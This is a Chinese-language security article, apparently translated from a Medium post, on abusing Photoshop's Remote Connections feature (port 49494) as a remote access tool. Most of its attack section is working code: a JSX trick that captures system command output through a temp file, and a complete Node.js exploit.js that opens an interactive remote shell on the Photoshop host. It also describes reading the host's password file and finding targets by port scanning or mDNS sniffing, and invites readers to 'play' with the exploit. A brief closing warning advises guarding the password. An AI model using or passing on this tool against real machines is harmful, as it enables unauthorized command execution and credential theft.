ps

作者在本文中通过对Photoshop远程连接功能的改造利用,最终实现了对开启远程连接功能的Photoshop端操作系统的接管控制。

Photoshop远程连接功能说明

Photoshop中有一个名为远程连接(Remote Connections)的可选功能,该功能默认是关闭的,但如果你启用该功能并设置密码后,任何知晓密码的人就可以远程接入到你电脑的Photoshop服务端。如下开启画面:

开启画面

正常用户利用该功能,来实时预览不同PS文件在iPad或手机等远程设备上的实际设计外观样式,该远程预览功能需要手机等移动终端安装如PS Playon和Skala Preview等第三方APP来实现连接。如Skala Preview:

Skala Preview

该远程连接功能基于Photoshop的JSX脚本实例。JSX属Photoshop的宏脚本,由Javascript语言编写,以实现Photoshop的图片加载、颜色渲染、矢量绘制和导出等功能,可点此查看JSX的相关编写规范和可用接口。

另外,Adobe提供了一个开源库内核生成器来建立该远程连接,所以如果您对其中的协议细节有兴趣,也可点此查看。当开启远程连接后,Photoshop将会对49494端口进行监听:

$ netstat -an | grep 49494
tcp4 0 0 *.49494 *.* LISTEN 

以下代码为与远程Photoshop服务端用来进行身份验证交互的代码:

const core = require("generator-core/lib/generator")
const options = {
    host: '192.168.1.123',
    password: 'password',
    port: 49494 }
const generator = core.createGenerator()
generator.start(options).done(() => {
    generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown())
}) 

对此,我曾尝试利用以下app.system方法来调用系统命令:

alert(app.system(“id”))

但遗憾的是其返回值却是一些退出状态码,不是标准的命令输出内容。经过研究,我发现Photoshop的JSX脚本具备系统访问接口,所以,这样一来,我们可以把其标准输出内容(stdout)重定向到一个临时文件中,之后,就可以对该文件进行读取。如下所示:

var tmpFile = Folder.temp + 'output.txt';
app.system("id > " + tmpFile);
var stdout = new File(${tmpFile});
stdout.open('r');
stdout.encoding = "UTF-8";
var content = stdout.read();
stdout.close();
stdout.remove();
alert(content); 

alert的显示内容

Photoshop RAT 改造成型

因此,我可以在上述身份验证代码中作出如下修改,通过用户名密码方式登录远程Photoshop服务端,之后,再利用JSX脚本接口间接执行Photoshop服务端系统命令,实现对远程Photoshop服务端系统的直接接管控制。以下为exploit代码:

exploit.js:

const readline = require('readline')
const backdoor = require("generator-core/lib/generator")
const options = {
  host: '192.168.0.101',
  password: 'password',
  port: 49494,
} console.info('Establishing connection to ' + options.host)
const generator = backdoor.createGenerator()
generator.start(options).done(() => {
  const rl = readline.createInterface({input: process.stdin, output: process.stdout, prompt: '> '})
    .on('line', line => {
      let command = line.trim()
      let tmpFile = `Folder.temp + ${JSON.stringify(Math.random() + '.txt')}`
      let jsx = `         app.system("${command} > " + ${tmpFile});
        var stdout = new File(${tmpFile});
        stdout.open('r');
        stdout.encoding = "UTF-8";
        var content = stdout.read();
        stdout.close();
        stdout.remove();
        content
        `
      generator.evaluateJSXString(jsx).then(output => {
        console.log(output)
        rl.prompt()
      })
    })
    .on('SIGINT', () => {
      console.log('bye')
      generator.shutdown()
      rl.close()
    })
  console.log('Remote photoshop shell')
  rl.prompt()
}) 

成功利用后,读取远程Photoshop服务端操作系统密码:

读取远程Photoshop服务端操作系统密码

影响分析

在内网中,你可以通过49494端口扫描或组播DNS”_photoshopserver.tcp”抓包来探测一些开启远程连接功能的Photoshop服务端,之后利用以上exploit.js进行把玩。

通过49494端口扫描或组播DNS"_photoshopserver.tcp"抓包

该功能的此种RAT方式利用,前提必须知晓对方Photoshop服务远程连接密码,因此并不属于漏洞范畴。基于此,请谨慎开启你的Photoshop远程连接功能,或严格保存你的Photoshop远程连接密码,否则,你的操作系统有可能被不怀好意之人远程控制。

*参考来源:medium,freebuf小编clouds编译